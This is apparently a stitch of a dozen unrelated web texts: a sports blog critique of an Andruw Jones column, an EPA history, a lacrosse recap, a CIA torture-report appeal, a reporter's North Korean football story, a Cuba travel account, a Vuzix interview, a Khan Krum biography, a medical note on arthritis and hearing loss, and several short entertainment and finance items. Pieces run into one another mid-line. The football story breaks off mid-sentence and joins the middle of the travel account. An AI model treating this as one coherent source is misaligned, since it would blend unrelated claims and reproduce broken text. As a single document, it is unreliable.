Bonus Terrible Writing: Nobody nominated this one, because it wasn't published until a few days ago when Andruw Jones signed with a Japanese team. So I'm using my editorial discretion and making a nomination of my own: Terence Moore's column for MLB.com about Jones. A few representative snippets:
The guy who was predicted by baseball's elite nearly 17 years ago to be in the Hall of Fame stretch at this point of his career is preparing to play for the Rakuten Eagles of Japan's Pacific League.
Let that sink in.
The bottom line: Jones is only assured of joining the inaugural class of the Hall of Fame of Disappointment. --snip-- With apologies to Simon & Garfunkel, where have you gone, Andruw Jones, and how did you lose your way to Cooperstown? --snip-- What Jones did during that 1996 World Series has become greater than Mickey Mantle. More impressive, Jones did so in The House that The Mick Reconstructed after it was built by Babe Ruth and renovated by Lou Gehrig and Joe DiMaggio. It happened in a New York minute -- you know, whatever amount of time it took for Jones to homer during his first at bat in Game 1 of the World Series at Yankee Stadium. --snip-- Now come the Rakuten Eagles. Sad. Really sad.
The House that The Mick Reconstructed?
The bottom line: Andruw Jones had a fantastic career, and there have been plenty of other great players whose careers petered out in their middle 30s. Everybody can't be Willie Mays and Hank Aaron.
But you know what really makes this piece so awful? What justifies me going to the trouble of offering my own nomination?
Moore wrote essentially the same column one year ago. Same arguments, same writing, same tired Simon & Garfunkel reference, same almost everything...
He's 34, he's healthy, and he's heading into his 17th season in the Major Leagues. At this point of his career, he was supposed to have one cleat in the clubhouse of his original team -- the Atlanta Braves -- and the other within the city limits of Cooperstown, N.Y. To paraphrase Simon & Garfunkel between a deep sigh, where have you gone Andruw Jones? --snip-- We're talking about the 1996 World Series. If the Braves hadn't blown a two-games-to-none lead, it would have been known as the Andruw Jones World Series. Two months earlier, Jones made the incredible jump from Class A to a Braves team racing toward its fifth consecutive division title -- while seeking to defend its World Series championship. And here was Jones with those Braves, meeting the Yankees in the opener of that World Series at Yankee Stadium, where Jones became better than Mickey Mantle. After Jones slammed a pitch over the left-field fence in his first at bat, Mantle fell to the second-youngest player ever to homer during a World Series game -- at just two weeks shy of his 21st birthday. Jones was 19 years, five months and two days old. --snip-- Now, Jones is just hanging on as that fourth outfielder for the Yankees, with some designated-hitting duty. How sad.
Oh, and the same sadness. How original.America Before The Environmental Protection Agency
The Environmental Protection Agency, or EPA, is an agency part of the Federal government of the United States and which aims at protecting human health, as well as the environment, by writing down and then enforcing regulations to that end.
But as you can imagine, the Environmental Protection Agency didn’t exist since the time of the Founding Fathers. In fact, people only relatively recently began caring about the environment, and it was an uphill battle and one that still goes on. To be fair, though, the small number of people back in the day and the huge size of the world, never made the environment seem like it needed protection in the first place. Things have changed since then, however.
The first incident that eventually led to the creation of the Environmental Protection Agency was the Donora Smog Disaster that took place in October 1948. Here, a somewhat rare meteorological phenomenon, coupled with the toxic fumes coming from the many factories in the town of Donora, Pensylvania, resulted in the death of 20 people, as well as 6,000 people becoming seriously ill. In the wake of the disaster, the government enacted the Clean Air Act, which was the first step towards the EPA.
But as it is with politics and people, things are slow to change in a meaningful way, and only in 1970 under president Richard Nixon, did the Environmental Protection Agency did come into existence. By this time, and because of the lack of any regulation, many rivers, streams and lakes in the country became unsafe for swimming or fishing. Air pollution was also rampant, and one couldn’t even see New York’s iconic landmarks.
Today, in the light of the current government looking at dismantling the EPA, or at least cutting its budget by two-thirds, we will show you how the US looked like in the first half of the 1970’s when it was okay to leave “a little bit” of the environment, but not at the expense of businesses.
(Source)Caroline Fitzgerald is just two ground balls away from passing Nora Barry (141) for the most all-time at Florida
is just two ground balls away from passing Nora Barry (141) for the most all-time at Florida The Gators have won 18 consecutive BIG EAST games dating back to the 2015 season
#PirrecaPower: Pirreca sisters Shayna and Sydney have combined to score 26% (67/255) of Florida's goals this season
Three Gators scored their first goal of the season: Paige Aldave, Katharine Hamer, and Alix Lopez
The University of Florida women's lacrosse team (13-2, 7-0) won a 22-2 decision over the Butler Bulldogs (1-14, 0-7) on Saturday afternoon, in the first meeting between the two schools.Florida dominated Butler in all facets of the game: Outshooting the Bulldogs 43-12, winning a 19-7 edge in the draw circle, and forcing 18 turnovers. The 22 goals scored by the Gators tied a season-high, and the 20-goal victory was the largest margin of the season.14 different Gators scored a goal, led by a trio of hat tricks from, and. Three goals for Bolton equaled a career-high, while Kittell tied her career-high. Junior midfielderled all scorers with four points (two goals, two assists).Freshman goalkeeperanchored Florida in the goal cage, tying her career-high with five saves in a career-high 25:21 minutes of action. Juniorrecorded three saves in 22:53 minutes, and sophomoreearned her 13th victory of the season.The Gators have now guaranteed a spot in the BIG EAST Tournament, with two conference games left on the schedule.With nine draw controls in the first half against Butler, attackerpassed Shannon Gilroy (83) for the most draw controls in a single-season in Florida history. Stevens is currently at 85 and counting with two regular season games remaining. The senior also collected a ground ball for the 16th game in a row, extending her Florida record.No. 3 Florida: 13-2 (7-0)Butler: 1-14 (0-7)"A true team effort today. I'm really proud of how some of our younger players responded to playing significant conference minutes. We were able to clean up some of our unforced errors, which is critical before a big game at Temple next weekend."The Gators will head to Philadelphia, Pa. to challenge BIG EAST rival Temple (12-2, 5-1) on April 22.#FLaxIn a matter of weeks, the public could finally have access to information the CIA has been trying to keep secret for years. That is, unless the CIA decides otherwise.
The summary of a Senate report documenting the CIA's use of torture is now with the Executive Branch for declassification. We have been told that the report provides the most detailed account yet of what the CIA did to detainees in Afghanistan, Iraq, Guantánamo, and the CIA's secret prisons overseas.
But while President Obama has authority to decide how much the public gets to see, he has given the CIA the lead on redacting the summary report.
It's hard to overstate how wrong that is. The agency charged with brutally torturing prisoners, lying about it to every oversight mechanism, and spying on the Senate committee charged with investigating it – that same agency is getting to decide which information about its illegal conduct will be released to the public?
Here's what we might be left with if the CIA redacts the torture report:
Redaction, when undertaken responsibly, keeps legitimate national security information secret. But not only have we been fooled too many times by the CIA to trust that it will redact responsibly, it flies in the face of transparency, oversight, and basic common sense to allow the torturers to dictate the terms of the conversation we're going to have about torture.
Earlier this month, Caitlin Hayden, spokeswoman for the White House National Security Council said :
Having prohibited these practices upon taking office, the President believes that bringing this program into the light will help the American people understand what happened in the past and can help guide us as we move forward, so that no Administration contemplates such a program in the future.
We couldn't have said it better ourselves. If you agree, join our call to President Obama to take the report out of CIA hands and into the light.We arrived in Tembisa, a down-at-heel township 35 km from central Jo’burg, around 4 p.m.
TEMBISA, SOUTH AFRICA—This was my cunning plan to penetrate the wall of silence surrounding the North Korean football team. First, badly injure myself.
The team’s first press conference with western journalists on Monday had been combative and slightly surreal. Now the world’s press was ready for a second round of jousting. Or at least, the chance to count the players on the field.
A rumour circulated on Friday morning that four members of the squad had defected. Typically, the North Koreans said nothing.
We were more than hour early for a planned press conference and open training session by the North Koreans. Tensions were high around the team.
I got out to stretch my legs. The police lazily regarded me from behind a wrought-iron fence.
The arena sits hard up against a neighbourhood of tightly packed adobe bungalows. A 2 ½-metre wall topped by razor wire surrounds it. We were told to park alongside the wall. A Portuguese film crew had arrived before us. We pulled up beside them, the rear of our car pressed up against the wall.
It isn’t much to look at. It reminded me of the old Varsity Stadium. North Korea uses it as a training ground.
Tembisa is a dusty spot, dotted by tin shacks and chaotic traffic. The greatest point of interest within the city is the Makulong Stadium. The stadium hit the news a week before the tournament began when there was a stampede before a friendly there featuring North Korea and Nigeria.
I made the trip by car up with Jean-François Bégin, my colleague at Montreal’s La Presse.
I slipped around behind the Portuguese TV truck, daydreaming. The first thing I felt was a tugging. When I flinched, I felt a ripping. On the section wall I was passing, the razor wire spilled over, hanging about 2 metres above the ground. It caught me on the crown of my head and tore two jagged strips in my bare scalp. There was an impressive amount of blood.
People who’ve spent time in South Africa have told me that after a few months, you stop noticing the razor wire. It’s everywhere — around businesses, houses, public parks, churches. What took them months must have taken me 10 days.
I leaned forward to keep the stream off my clothes. Jean-François jumped out of the car. I explained what had happened. He ran off to get the police. The Portuguese had some napkins.
It didn’t hurt badly, but I wanted to disinfect it as quickly as possible. I walked over to where Jean-François was negotiating with the police.
“What happened?” one cop asked, not moving from his stool.
“Razor wire,” I pointed.
“No,” he said.
“Yes,” I said. I took the napkins away and blood began dripping off my nose.
Grumbling, they let me in. Nobody had a first-aid kit. A few minutes later, another paramilitary vehicle pulled up. More cops. This car had a kit. They disinfected my head.
Now what?
“Is there a doctor?” I asked.
“No.”
“What about the North Koreans. They’ll have a doctor, right.”
The cop smirked at me.
A middle-aged woman, a security guard, came out and caught sight of me.
“You’re covered in blood,” she said, clucking her tongue in the direction of the police.
“You have to get washed up,” she said. Her name was Marta. “Come into the stadium.”
The cop on the stool was up now, waving his hand lazily at Marta. Nobody goes into the stadium.
Marta grabbed my arm, began dragging me along and blew right by him. She made a low hissing noise at the cop that I’ve noticed African women of a certain age make when they’re non-plussed. Marta — my protector.
We went down a corridor and through one door and I was standing in the North Korean dressing room. It looked like your high-school locker room — wooden cubbies, a green wooden bench, a couple of toilets.
Marta washed my head at the sink. Then she told me to fling the bloody mess of hand towels in the toilets. Only one was working. I blocked up the other. Sorry, North Korea.
Marta left me with a few handfuls of paper and walked me back to the gate.
The same policeman who’d disinfected my head now wrapped me up like Elmer Fudd with a toothache.
I returned to the other side of the gate to wait.
At 5 p.m., the North Korean motorcade arrived. The curtains on the team bus were closed. When the gate opened, a hundred or so media members sprinted to the doors.
The corridor Marta had taken me down was now blocked off with school desks.
We sprinted up the stairs. When we reached the third floor, there wasn’t a North Korean in sight.
FIFA officials had erected a “wall” of chairs, three deep. They announced that the press conference had been “postponed.” We were invited to watch the team practice from our third-storey perch in the stands.
I leaned over the chair barrier.
“Is there a doctor with the team? I’ve hurt myself,” I said.
The FIFA official stared for a bit. I looked more ridiculous than injured. But he phoned someone. And someone else phoned someone. And everybody was suddenly on their phones.
Out on the pitch, the North Koreans were playing keep-away. With their hands.
Without anyone to interview, the journalists now started interviewing other journalists. A Japanese claimed that he could see the rumoured defectors out on the field. It turns out, the whole panic was caused by a clerical error. The North Koreans had mistakenly left four names off their team sheet.
Behind the chair wall, a pair of paramedics — Manuel and Abigail — were presented to me.
Abigail’s first question: “You cut yourself shaving your head?”
“Um, no. Razor wire.”
“No.”
“Yes.”
“No.”
Manuel took a look. No, no stitches required, he said. No shot required. No nothing required. I was not reassured.
“Doesn’t the team have a doctor here?” I asked another official, a guy with an English accent who looked like he was in charge.
He looked at my head. And looked at me. And my head.
“I think it’s impossible,” he said. “But I’ll try.”
A few minutes later, he sidled up and whispered, “Come with me.”
Back down the stairs and off into the familiar corridor. Down on his knees in front of a locked door was a middle-aged man in North Korean colours. A player was standing behind him. The pair of them were fiddling with the lock. The English guy disappeared. The player sensed someone behind him. He turned. His eyes widened. He jerked his head toward the ground, as if the sight of me was painful. He tucked his chin into his chest and stared steadily at his shoes.
The official fiddled with the lock. Then another door and another lock. The sight of me didn’t impress him much. He took hold of my arm and pushed me through.
“You. Here,” he instructed. The player nervously followed me in. Then the door was closed and he and I were alone inside the North Korean dressing room.
It was Spartan stuff — tracksuits now neatly folded in place, shower slippers sitting below them.
The player moved to the other side of the small room, sat down and stared intently at the wall. He looked like most of the North Korean players — remarkably fit, a crew cut.
He wore a tracksuit and full kit underneath, including shin pads. Later, after checking pictures, I realized it was defender Ri Jun-Il. I recognized him by the small scar alongside his eye.
At first, we sat in silence. A very long silence.
“Hello,” I ventured.
Ri turned uncertainly, torn.
“Hello,” he finally said. He still wouldn’t look at me, but now he was facing my direction.
I pointed at my head. “Razor wire.” I mimed the coils and catching myself and cutting my head.
Ri winced appreciatively.
“You. Brazil,” I said, and gave him a thumbs up.
Another uncertain smile.
I mimed running hard. The North Koreans had lost their early match to Brazil, but ran like demons the whole time. I gave him another thumbs up.
“Very good,” I said.
Ri shook his head.
“No. No,” he said, and gave me an ‘aw shucks’ wave. “No good.”
It occurred to me that I was having the first-ever sit-down interview with a North Korean footballer inside a North Korean dressing room.
The doctor arrived. Abigail and Manuel bundled in behind him. He was a tan, middle-aged man in glasses. He took off his red ball cap and placed it down very carefully beside me. Then he straightened and said deliberately, “I am the first aid director.”
His English was better than decent.
“The doctor?” I asked. I was finished with anybody with an MD after their name.
“Yes, the doctor.”
“I’ve cut my head.”
He unwound the bandage and gave me a couple of sympathetic ‘Oohs.’ He probed the wound with his fingers. He put his hand to his chin and thought. Abigail, Manuel and I waited for his verdict.
“Sutures,” he said.
“Sutures?” said Manuel, uncertainly.
“No sutures. But go hospital,” he said. “You need medicine. I have medicine — special medicine.”
“You have it here?” I said hopefully.
“No,” he said, looking crestfallen. “I leave in hotel.”
He opened his FIFA pack and showed me. No medicine.
He did decide that my head need rewrapping. He very pointedly made sure that the bandage came from Manuel. Then he wrapped me up like a mummy. It felt nice and tight.
When he was finished, he stepped back to admire his work. Then he squared his shoulders toward me again.
“I have great pity,” he said slowly.
“I’m sorry?”
“I have great pity,” he said and touched his heart.
I thought he felt bad about not having any sort of disinfectant or a tetanus shot.
“No, no, that’s okay. I’m sure they’ll have something in the hospital.”
He shook his head from side to side and started again.
“No. I have great pity,” he said, and pointed to the top of his own head.
He was saying sorry that this had happened to me at all. I liked him more than any doctor I’ve ever met.
He still hadn’t told me his name. He ignored my question when I asked him.
Just then another North Korean official walked in to talk to Ri, an assistant coach by the rangy look of him. He saw me out of the corner of his eye and looked as if he might faint.
He swayed in place. He tore his eyes away from mine, deeply confused, even frightened. I waved. He goggled. He turned toward |
the cause of the stomach upset, and can have undesirable side effects. (I am happy to follow this advice as long as I don’t have to go anywhere in public when I have a case of diarrhea. I will take anything that prevents my having a disaster in public.) They gave us injections and prescriptions involving an antibiotic, a stomach-acid inhibitor (ranitadine), electrolytes, and something called buscapina. They also warned us against eating anything acidic or greasy or containing milk for 48 hours – which limited our selection at the hotel’s several buffets considerably, but since we weren’t feeling too well, it wasn’t very difficult to comply.
The medical attention (including medications) cost us about 100 CUCs each, and we got most of the money back from the Government of Ontario (OHIP) and our insurance companies, so it was well worth the call. We had a great visit with Dr. Amable Alvarez when we went back two days later for our recheck. Among other interesting facts, such as how Latin American women get their double-barrelled last names (When they are single, their first last name is their father’s first surname and the second their mother’s first surname. After they get married their second surname may change to the first surname of their husband), we learned that doctors in Cuba earn only about the equivalent of USD 70 per month, while nurses earn about half that.
The stay at the all inclusive was not a total waste by any means. We did sit by the pool when it wasn’t raining, we ate in a couple of the four restaurants (there are also two buffets and ice-cream bars and a grill on the beach) and we enjoyed one of the nightly song-and-dance performances. However, the primary advantage of staying at the Royalton Hicacos was the fact that it was part of a SunWing package that got us fantastic rates for our flights to and from Cuba. It was worth it for just that – anything else was a bonus.
When it was time to go to the airport, we arrived at the entrance to our hotel five minutes before the appointed departure time, and found no other passengers and no sign of a bus. We considered how ironic it would be if the only vehicle that was ever early during our entire time in Cuba had been the bus to the airport – causing us to miss it.
Fortunately, we that didn’t happen – the bus was predictably late (but only by about five minutes). We learned on the bus that our misadventures with the Royalton Hicacos were nothing compared to the horrors others had encountered at neighbouring hotels. These ranged from five sick family members receiving no clean laundry, items being stolen from rooms, plugged toilets, etc. I think that a few years of American tourism is going to do a tremendous favour for everyone who visits the all-inclusives at Varadero, as Americans are much more likely to complain about bad service than are the Canadians who have for decades been the area’s primary guests.
At the airport, we made haste to turn all of our leftover CUCs to Canadian dollars, since they cannot be exchanged outside the country, made our way through customs, did a bit of shopping, and then we were off for Toronto.An exclusive interview with Vuzix founder, President and CEO Paul Travers.
Augmented reality technology is, without a doubt, one of the coolest innovations to hit the tech sector in recent years. It’s also poorly understood by most individuals. To get a better sense of what’s myth, what’s reality, and where this market is actually headed, we turned to Paul Travers, founder, President and CEO of Vuzix (NASDAQ:VUZI).
Founded in 1997, Vuzix Corporation is an award winning developer of smart glasses. In January of last year, the company received a $24.8 million investment from Intel Corporation (NASDAQ:INTC) to accelerate the introduction of Vuzix’s entry into the fashion-based wearable display device market. The company is a pioneer in the augmented reality scene.
The company’s glasses are capable of providing virtual, large high-resolution screens that can be used for virtual and augmented reality applications, whether the user wants to become immersed in an entirely computer generated world or if they merely want their real world view augmented with computer generated data. Even better, this device is small enough to fit into a user’s pocket, meaning that its applications can be experienced anytime, anywhere.
And so, without further ado, here’s what virtual reality expert Travers had to say about the market at large.
Diverse market for augmented reality
When you think of augmented and virtual reality, gaming is probably the first thing that comes to mind. However, the market is much more diverse than this initial impression suggests. Travers explains that “there are people in the medical space that are using [our technology] to do dictations with their patients... There are people also using it to connect to drones because it’s got Wi-Fi radio built in.... It’s like sitting in the front of the drone.” His enthusiasm for the product is palpable, when he explains that “this is a 125 inch screen and you literally feel like you’re sitting right in the front of the drone.”
Of course, despite the varied verticals that augmented reality technology can benefit (the medical, industrial, retail, and supply chain aspects of business, just to name a few), it will always have a home in gaming. Travers tells me that “his is also an entertainment based product. You can watch 3D movies on the iWear Video Headphones. It’s fantastic. Or you use PlayStation or any of the 3D games – any of the 2D games even. This is a wonderful big screen experience that you get from it and because it has tracking you can also do a lot of virtual reality software at the same time.”
The future markets for augmented reality, therefore, appear to be both consumer and enterprise oriented. Travers is targeting both, with the company’s innovative technologies.
Read our new 2019 medical device report today Including: 3+ stocks to watch as well as valuable market data Including: 3+ stocks to watch as well as valuable market data Get My Free Report Click here to download for free
Case study: Healthcare field
One of the primary markets for this technology is the healthcare field. For instance, the Vuzix M300 Smart Glasses offer a “hands free” digital world, granting users unprecedented access to new information and data collection. Essentially, the Vuzix 300 offers most of the features of a modern smartphone – Bluetooth 4.0 connectivity, integrated head tracking and GPS system, voice, button and touch pad controls and enhanced battery packs – all within an ergonomically designed headset. This innovative product is scheduled to launch in summer of this year.
During our conversation, Travers got into the nitty gritty of why products such as these are the way of the future for healthcare. Unlike the days when a doctor used to pick up his or her bag and come to your house, today doctors are practicing medicine in many different ways and many of them incorporate some degree of remote medicine. A lot of this is cost cutting – keeping an individual in the hospital is very expensive, with all of the nurses and doctors involved – but it can pose medical challenges.
With augmented reality glasses, however, medical professionals can stay on top of their patients, even when they are far away. With their Bluetooth connected assimilators, Vuzix’s products allow doctors to read blood pressure counts remotely, etc., allowing doctors to make a more informed decision about the future course of medical treatment. After running diagnostics, the medical professional can determine the risk factors involved and, if this saves an ambulance trip or two, the glasses have already paid for themselves.
Medical education is another important area that this technology is benefiting. If a doctor is giving an operation and he’s got the augmented reality glasses on, others can watch and learn from his actions. The final example that Travers offers is a simple one. The individual who controls the amount of meds in a hospital setting is constantly looking at machinery, the patient’s body, the medication, etc. Not only is this inconvenient, it also opens up the possibility of unintentional error. But, “with the pair of glasses on with Bluetooth connection, the medical professional can focus on the patient with all the necessary information, without looking over at the machine all the time.”
Essentially, this technology isn’t benefiting just one area of the healthcare sector – it could revolutionize the entire field. Investors, it appears, should take note of this potentially transformative technology.
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Investor potential
Vuzix is in a unique position, in that most of its competitors are in the private sector. Superficially, this works against them – while competitors in the private sector have multiple evaluations, as a “public company [Vuzix] gets measured by revenues not by the potential revenues.” However, the market is shifting and so is Vuzix. Revenues are climbing for the company, and investors are beginning to realize that something big is going on in this market.
For investors keen on putting their money in augmented and virtual reality, Vuzix is one of the few places to do so, as a peer play public company. Facebook (NASDAQ:FB) offers a great example. Investors excited about Oculus may want to invest in the product, but “Oculus is going to barely move Facebook.” With Vuzix, however, all investment will be channeled towards the wearable display devices market.
“The reason why we’re a public company to begin with,” explains Travers, is that in “2008 to 2009 when the world fell apart, companies needed access to more capital.” At that point in time, “virtual reality wearable tech was nowhere except the cell phone industry and smart phones. It was from zero to hero” when the market took off. For investors who had been with the company with ten or so years, they thought that going public was the right move. The company’s management was inclined to agree. Therefore, Vuzix became one of the earliest public entrants into this rapidly growing market.
The future looks bright for Travers, who has big dreams about the augmented reality market. “Before this is all done, I think that [it] is going replace cell phones or smartphones. I think everybody’s going to use them.” But then he catches himself – “maybe not everybody. My mother still has a landline and doesn’t own a cellphone.” But for the rest of the population, this undoubtedly looks like the way of the future. And who knows, perhaps in a couple of years, even Travers’ mother will be embracing this new way of viewing the world.
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Securities Disclosure: I, Morag McGreevey, hold no direct investment interest in any company mentioned in this article.This article is about the 9th-century Khan of Bulgaria. For other uses, see Krum (disambiguation)
Krum (Bulgarian: Крум, Greek: Κρούμος/Kroumos)[A] was the Khan of Bulgaria from sometime between 796 and 803 until his death in 814. During his reign the Bulgarian territory doubled in size, spreading from the middle Danube to the Dnieper and from Odrin to the Tatra Mountains. His able and energetic rule brought law and order to Bulgaria and developed the rudiments of state organization.[1][2]
Biography [ edit ]
Origins [ edit ]
Krum was a Bulgar chieftain from Pannonia. His background and the surroundings of his accession are unknown. It has been speculated that Krum might have been a descendant of the old Bulgar royal house of Kubrat. The name Krum is of Iranian origin.[4]
Establishment of new borders [ edit ]
Around 805, Krum defeated the Avar Khaganate to destroy the remainder of the Avars and to restore Bulgar authority in Ongal again, the traditional Bulgar name for the area north of the Danube across the Carpathians covering Transylvania and along the Danube into eastern Pannonia. This resulted in the establishment of a common border between the Frankish Empire and Bulgaria, which would have important repercussions for the policy of Krum's successors.
Conflict with Nikephoros I [ edit ]
Krum feasts with his nobles as a servant (right) brings the skull of Nikephoros I, fashioned into a drinking cup, full of wine.
Krum engaged in a policy of territorial expansion. In 807 Bulgarian forces defeated the Byzantine army in the Struma valley. In 809 Krum besieged and forced the surrender of Serdica, slaughtering the garrison of 6,000 despite a guarantee of safe conduct. This victory provoked Byzantine Emperor Nikephoros I to settle Anatolian populations along the frontier to protect it and to attempt to retake and refortify Serdica, although this enterprise failed.
In early 811, Nikephoros I undertook a massive expedition against Bulgaria, advancing to Marcellae (near Karnobat). Here Krum attempted to negotiate on July 11, 811, but Nikephoros was determined to continue with his plunder. His army somehow avoided Bulgarian ambushes in the Balkan Mountains and made its way into Moesia. They managed to take over Pliska on July 20, as only a small, hastily assembled army was in their way. Here Nikephoros helped himself to the treasures of the Bulgarians while setting the city afire and turning his army on the population. A new diplomatic tentative from Krum was rebuffed.
The Chronicle of 12th-century patriarch of the Syrian Jacobites, Michael the Syrian, describes the brutalities and atrocities of Nikephoros: "Nikephoros, emperor of the Byzantine empire, walked into the Bulgarians' land: he was victorious and killed great number of them. He reached their capital, seized it and devastated it. His savagery went to the point that he ordered to bring their small children, got them tied down on earth and made thresh grain stones to smash them."
Battle at Vărbitsa Pass (811).
While Nikephoros I and his army pillaged and plundered the Bulgarian capital, Krum mobilized as many soldiers as possible, giving weapons even to peasants and women. This army was assembled in the mountain passes to intercept the Byzantines as they returned to Constantinople. At dawn on July 26, the Bulgarians managed to trap the retreating Nikephoros in the Vărbica pass. The Byzantine army was wiped out in the ensuing battle and Nikephoros was killed, while his son Staurakios was carried to safety by the imperial bodyguard after receiving a paralyzing wound to the neck. It is said that Krum had the Emperor's skull lined with silver and used it as a drinking cup.
Conflict with Michael I Rangabe [ edit ]
Staurakios was forced to abdicate after a brief reign (he died from his wound in 812), and he was succeeded by his brother-in-law Michael I Rangabe. In 812 Krum invaded Byzantine Thrace, taking Develt and scaring the population of nearby fortresses to flee towards Constantinople. From this position of strength, Krum offered a return to the peace treaty of 716. Unwilling to compromise his regime by weakness, the new Emperor Michael I refused to accept the proposal, ostensibly opposing the clause for exchange of deserters. To apply more pressure on the Emperor, Krum besieged and captured Mesembria (Nesebar) in the autumn of 812.
Battle at Versinikia (813).
In February 813 the Bulgarians raided Thrace but were repelled by the Emperor's forces. Encouraged by this success, Michael I summoned troops from the entire Byzantine Empire and headed north, hoping for a decisive victory. Krum led his army south towards Adrianople and pitched camp near Versinikia. Michael I lined up his army against the Bulgarians, but neither side initiated an attack for two weeks. Finally, on June 22, 813, the Byzantines attacked but were immediately turned to flight. With Krum's cavalry in pursuit, the rout of Michael I was complete, and Krum advanced on Constantinople, which he besieged by land. Discredited, Michael was forced to abdicate and become a monk — the third Byzantine Emperor forced to give up the throne by Krum in as many years.
Conflict with Leo V the Armenian [ edit ]
The new emperor, Leo V the Armenian, offered to negotiate and arranged for a meeting with Krum. As Krum arrived, he was ambushed by Byzantine archers and was wounded as he made his escape. Furious, Krum ravaged the environs of Constantinople and headed home, capturing Adrianople en route, transplanting its inhabitants (including the parents of the future Emperor Basil I) across the Danube. In spite of the approach of winter, Krum took advantage of good weather to send a force of 30,000 into Thrace, capturing Arkadioupolis (Lüleburgaz) and carrying off 50,000 captives in the Bulgarian lands across the Danube. The loot from Thrace was used to enrich Krum and his nobility and included architectural elements utilized in the reconstruction of Pliska, perhaps largely by captured Byzantine artisans.
Krum spent the winter preparing for a major attack on Constantinople, where rumor reported the assemblage of an extensive siege park to be transported on 5,000 carts. He died before he set out, however, on April 13, 814, and he was succeeded by his son Omurtag.
Legacy [ edit ]
Bulgaria under Khan Krum (new territories gained under his rule are in yellow)
Krum was remembered for instituting the first known written Bulgarian law code, which ensured subsidies to beggars and state protection to all poor Bulgarians. Drinking, slander, and robbery were severely punished. Through his laws he became known as a strict but just ruler, bringing Slavs and Bulgars into a centralized state.
Novels have been written on his life, such as by Dmityar Mantov (1973),[5] and Ivan Bogdanov (1990).[6]
See also [ edit ]
Annotations [ edit ]
^ Kroum. The name is derived from Turkic kurum or korum.[7] In Bulgarian historiography, he is also known with the epithet "the Fearsome"[8] (Крум Страшни/Krum Strashni). His name is also rarely spelled. The name is derived from TurkicorIn Bulgarian historiography, he is also known with the epithet "the Fearsome"(Крум Страшни/Krum Strashni).
References [ edit ]Rheumatoid arthritis (RA) is the most common autoimmune arthritis, affecting 1% of the general population. Despite its main articular manifestations, RA caninvolveextra-articular organs including the auditory system.
HI in RA is multifactorial. Mechanism of injury and predisposing factors are not clearly understood. Sensorineural hearing loss is the most common type in RA patients with a prevalence of 25-72%. Possible pathologies are including: Synovial destruction of incudostapedial and incudomalleolar joints, rheumatoid nodules, auditory neuropathy, destruction of the cochlear hair cells and drug-induced ototoxicity. "Elderly Patients and those with long disease duration, active disease, seropositivity, elevatedacute phase reactants and rheumatoid nodules are more likely to have HI," demonstrated a recent study by Amir Emamifar, Kristine Bjørndal and Inger Marie Jensen Hansen.
Environmental factors for instance smoking, alcohol and noise can deteriorate the condition. Passive smokers are also at risk of HI. Long-term exposure to alcohol affects hearing in RA, causing harmful effects on the cochlear function.
Results of pure tone audiometry revealed that RA patients have high prevalence of HI for all frequencies.Transiently Evoked Otoacoustic Emissions (TEOAEs) test has been used widely to evaluate cochlear function, and is capable of detecting various amounts of decreases in RA patients at an early stage of the disease.
Treatment of HI in RA is empirical. Oral steroids and intensifying Disease-Modifying Antirheumatic Drugs might be an option. Anti-oxidants (eg. vitamin E) may play a protective role for the inner ear. Regular audiometric test and TEOAEs should be performed. Patients will also benefit from the cessation of smoking and alcohol. Like other causes of HI in healthy individuals, HI in RA can also be managed by use of different types of hearing aids and implantable devices.Winnie Cooper from The Wonder Years was the crush of crushes. The heartthrob of heartthrobs. If ever a television character screamed, "WIFE MATERIAL," she was it. So it should please your inner teenager to know that to this day, Winnie, aka Danica McKellar, is still absolutely killing it in the bikini department.
The ageless beauty has dropped numerous smoking-hot bikini pics on Instagram over the past few years, each as stunning as the last.
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She cheekily hashtagged one #ThisIs40. Girl, 40 looks good on you.
5 Gallery 5 Images
Sigh. She truly was the one who got away. Revisit your teenage self's TV crush with McKellar's hottest Maxim photos above, and see the latest and greatest from Instagram below:
Finally, here's a behind-the-scenes look at one of her Maxim photoshoots.With one month left in the regular season, ESPN MLB Forecast is here to tell you which teams will make the postseason and advance in the playoffs.
Our Forecaster panel weighs in now with predictions for which teams will win the divisions and wild cards in the American League as well as who will win the AL pennant, and ultimately who will win the World Series.
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• Forecaster: AL awards (one month left) »
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• ESPN expert preseason predictions:
World Series winners » Individual awards »
ESPN Forecast: Which team will win the World Series?
ESPN Forecast: Which team will win the LCS?
ESPN Forecast: Which team will win the American League East?
ESPN Forecast: Which team will win the American League Central?
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ESPN Forecast: Which team will win the first wild card?
ESPN Forecast: Which team will win the second wild card?Today the Chicago Board Options Exchange (CBOE) will launch Bitcoin Futures for institutional and important investors. Since a long time, the crypto community is analysing possible effects in the markets and in the future outlook of Bitcoin. The Chicago Mercantile Exchange (CME) will also launch Bitcoin Futures, but on December the 18th.
How Will the Markets React?
This question is one of the most pronounced in different forums and articles. The majority of the people believes that these futures markets will bring important flows of money into the cryptocurrency market. That will create a situation in which the different virtual currencies (with Bitcoin being the most important) will receive a big price upgrade.
A minor part of the community believes that the CBOE bitcoin futures will create a bearish market. Those who believe in this situation, think that the bankers and the big investors, that are against Bitcoin, will try to destroy this virtual currency by hedging against it.
We do not know if the market will react completely positively or completely negatively. But we can be sure that there will be high volatility. The volume managed by the network will increase substantially and it will create big price fluctuations. We must be prepared for it.
NYSE Regrets it Didn’t Launch Bitcoin Futures First
The New York Stock Exchange (NYSE) regrets it didn’t launch Bitcoin Futures before. The CME was the first that was going to launch Bitcoin Futures, but in a fast move, the CBOE decided to launch it one week before. In the past, the Nasdaq Stock Exchange has also announced that it wanted to launch Bitcoin Futures but in 2018.
NYSE Chairman Jeff Sprecher commented about Bitcoin Futures:
“We may be stupid for not being the first on that… I don’t have the answers; I wish I knew I don’t know what to make of cryptocurrencies.”
What we can be sure about Bitcoin and the cryptocurrency world is that they are entering into the mainstream financial environment. The moves that are being done by these institutions are legitimizing the currency and the other alternative cryptocurrencies.
Image Source: cfe.cboe.comAarya was born in Nagpur to Sameer Ambekar, a doctor and Shruti Ambekar, a vocalist. Aarya's grandmother, a classical vocalist, recognised the talent in Aarya when Aarya was two years old. Aarya started her formal musical training at the age of five and half years from her Guru and mother, Shruti Ambekar. At the age of six, whilst in first standard, Aarya appeared her first examination in Music. [3]
Sa Re Ga Ma Little Champs Edit
In 2008, Aarya was auditioned for the Sa Re Ga Ma Pa Marathi L'il Champs, a competitive music reality show organised by the Zee Marathi television channel. She was one of final 50 who were selected from amongst several thousand children aged between 8 and 14 across Maharashtra. She made her way to the top 10 finalists and then to the Final 5 Mega-Finalists.
Aarya was popularly referred to as the "Pretty Young Girl", during the show.
